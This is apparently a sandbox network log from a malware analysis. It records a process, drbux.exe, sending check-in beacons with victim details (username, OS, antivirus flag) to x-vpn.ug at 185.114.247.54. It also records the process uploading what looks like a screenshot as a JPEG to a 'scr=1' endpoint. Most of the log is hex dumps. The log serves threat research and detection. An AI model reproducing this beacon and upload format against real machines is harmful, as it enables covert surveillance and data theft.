Jul 19, 2021 18:36:54.385559082 CEST	20643	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:54.385859966 CEST	20645	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.6	50069	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:54.309745073 CEST	20626	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:54.406104088 CEST	20653	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.6	50071	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:54.601937056 CEST	20712	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:54.680696011 CEST	20713	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:54.691972971 CEST	20713	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:54.692125082 CEST	20713	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:54.692351103 CEST	20723	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:54.692456961 CEST	20726	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:54.770718098 CEST	20726	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:54.771430016 CEST	20732	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:54.772540092 CEST	20735	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:54.772603989 CEST	20737	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:54.772640944 CEST	20740	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:54.773473978 CEST	20743	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:54.773530960 CEST	20745	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:54.773828030 CEST	20748	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.6	50072	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:54.883435011 CEST	20807	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:54.966924906 CEST	20811	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.6	50073	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:55.162643909 CEST	20812	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:55.241353989 CEST	20826	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.6	50074	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:55.179970980 CEST	20813	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:55.180259943 CEST	20813	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:55.180633068 CEST	20823	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:55.180993080 CEST	20826	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:55.276060104 CEST	20827	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:55.276410103 CEST	20830	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:55.276566029 CEST	20838	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:55.276627064 CEST	20847	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:55.276742935 CEST	20850	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:55.276900053 CEST	20852	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:55.373797894 CEST	20856	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:55.373833895 CEST	20858	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.6	50075	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:55.424979925 CEST	20903	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:55.510390043 CEST	20912	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.6	50076	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
